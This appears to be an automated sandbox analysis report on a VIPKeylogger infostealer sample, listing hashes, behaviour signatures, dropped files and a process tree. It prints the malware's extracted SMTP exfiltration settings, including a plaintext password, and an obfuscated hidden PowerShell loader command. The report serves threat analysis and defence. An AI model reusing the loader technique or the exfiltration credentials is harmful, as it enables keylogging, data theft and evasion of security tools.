Analysis
- max time kernel
148s - max time network
145s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
19/10/2024, 01:28
General
- Target 414b4bba107c9bfe54cc5f876b54f21b70902597347bce3e6dcfbc91aec4f4b0.exe
- Size 753KB
- Sample241019-bv4v3aydpb
- SHA256 414b4bba107c9bfe54cc5f876b54f21b70902597347bce3e6dcfbc91aec4f4b0
Malware Config
Extracted
-
Protocol
smtp
-
Host
smtp.ionos.es
-
Port
587
-
Username
-
Password
pW@4G()=#2
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
smtp.ionos.es
-
Port
587
-
Username
-
Password
pW@4G()=#2
-
Email to
Signatures
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Blocklisted process makes network request 14 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
- Drops file in Windows directory 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 19 IoCs
- Suspicious behavior: MapViewOfSection 2 IoCs
- Suspicious use of AdjustPrivilegeToken 45 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\414b4bba107c9bfe54cc5f876b54f21b70902597347bce3e6dcfbc91aec4f4b0.exe"C:\Users\Admin\AppData\Local\Temp\414b4bba107c9bfe54cc5f876b54f21b70902597347bce3e6dcfbc91aec4f4b0.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Interpervasive=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\superincomprehensible\Exasperates.Liq';$Sypher=$Interpervasive.SubString(32961,3);.$Sypher($Interpervasive)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2516 -s 20204⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Interpervasive=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\superincomprehensible\Exasperates.Liq';$Sypher=$Interpervasive.SubString(32961,3);.$Sypher($Interpervasive)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2516 -ip 25161⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
05DDC6AA91765AACACDB0A5F96DF8199
24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
4FA45AE1010E09657982D8D28B3BD38E_B60DAD4239F8DBB7FDA230724F9F9DFD
DDE8B1B7E253A9758EC380BD648952AF_3459237E893F04A4596206DC25825D64
05DDC6AA91765AACACDB0A5F96DF8199
24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
4FA45AE1010E09657982D8D28B3BD38E_B60DAD4239F8DBB7FDA230724F9F9DFD
DDE8B1B7E253A9758EC380BD648952AF_3459237E893F04A4596206DC25825D64
__PSScriptPolicyTest_cdxjh4ny.1jq.ps1
Exasperates.Liq
Thirtypenny.Nag
memory/2516-127-0x0000000001200000-0x0000000002454000-memory.dmp
memory/4052-132-0x0000000021290000-0x00000000212E0000-memory.dmp
memory/4052-125-0x0000000000A90000-0x0000000000ADA000-memory.dmp
memory/4052-124-0x0000000000A90000-0x0000000001CE4000-memory.dmp
memory/4052-136-0x0000000021970000-0x000000002197A000-memory.dmp
memory/4052-135-0x00000000219B0000-0x0000000021A42000-memory.dmp
memory/4052-126-0x0000000020E40000-0x0000000020EDC000-memory.dmp
memory/4052-133-0x00000000221D0000-0x00000000226FC000-memory.dmp
memory/4052-131-0x0000000021AD0000-0x0000000021C92000-memory.dmp
memory/4156-69-0x0000000073920000-0x00000000740D0000-memory.dmp
memory/4156-46-0x000000006FDB0000-0x000000006FDFC000-memory.dmp
memory/4156-80-0x0000000008550000-0x000000000962D000-memory.dmp
memory/4156-6-0x000000007392E000-0x000000007392F000-memory.dmp
memory/4156-26-0x0000000005680000-0x00000000059D4000-memory.dmp
memory/4156-25-0x0000000073920000-0x00000000740D0000-memory.dmp
memory/4156-58-0x0000000007060000-0x000000000707E000-memory.dmp
memory/4156-48-0x0000000070360000-0x00000000706B4000-memory.dmp
memory/4156-71-0x00000000071F0000-0x00000000071FA000-memory.dmp
memory/4156-12-0x0000000073920000-0x00000000740D0000-memory.dmp
memory/4156-90-0x0000000073920000-0x00000000740D0000-memory.dmp
memory/4156-89-0x0000000073920000-0x00000000740D0000-memory.dmp
memory/4156-87-0x0000000073920000-0x00000000740D0000-memory.dmp
memory/4156-74-0x0000000073920000-0x00000000740D0000-memory.dmp
memory/4156-86-0x0000000073920000-0x00000000740D0000-memory.dmp
memory/4156-82-0x000000007392E000-0x000000007392F000-memory.dmp
memory/4156-7-0x0000000002650000-0x0000000002686000-memory.dmp
memory/5028-39-0x0000000006900000-0x000000000691A000-memory.dmp
memory/5028-83-0x0000000073920000-0x00000000740D0000-memory.dmp
memory/5028-84-0x0000000073920000-0x00000000740D0000-memory.dmp
memory/5028-76-0x0000000007B10000-0x0000000007B34000-memory.dmp
memory/5028-85-0x0000000073920000-0x00000000740D0000-memory.dmp
memory/5028-75-0x0000000005140000-0x000000000516A000-memory.dmp
memory/5028-73-0x0000000073920000-0x00000000740D0000-memory.dmp
memory/5028-88-0x0000000073920000-0x00000000740D0000-memory.dmp
memory/5028-72-0x0000000073920000-0x00000000740D0000-memory.dmp
memory/5028-45-0x000000006FDB0000-0x000000006FDFC000-memory.dmp
memory/5028-91-0x0000000073920000-0x00000000740D0000-memory.dmp
memory/5028-70-0x0000000007890000-0x0000000007933000-memory.dmp
memory/5028-47-0x0000000073920000-0x00000000740D0000-memory.dmp
memory/5028-59-0x0000000070360000-0x00000000706B4000-memory.dmp
memory/5028-44-0x0000000007820000-0x0000000007852000-memory.dmp
memory/5028-43-0x0000000008860000-0x0000000008EDA000-memory.dmp
memory/5028-41-0x0000000007C30000-0x00000000081D4000-memory.dmp
memory/5028-40-0x00000000073A0000-0x00000000073C2000-memory.dmp
memory/5028-38-0x0000000006950000-0x00000000069E6000-memory.dmp
memory/5028-37-0x0000000006420000-0x000000000646C000-memory.dmp
memory/5028-36-0x00000000063D0000-0x00000000063EE000-memory.dmp
memory/5028-14-0x0000000005CF0000-0x0000000005D56000-memory.dmp
memory/5028-15-0x0000000005D60000-0x0000000005DC6000-memory.dmp
memory/5028-13-0x0000000005610000-0x0000000005632000-memory.dmp
memory/5028-11-0x0000000073920000-0x00000000740D0000-memory.dmp
memory/5028-9-0x0000000073920000-0x00000000740D0000-memory.dmp
memory/5028-10-0x00000000056C0000-0x0000000005CE8000-memory.dmp
memory/5028-8-0x0000000073920000-0x00000000740D0000-memory.dmp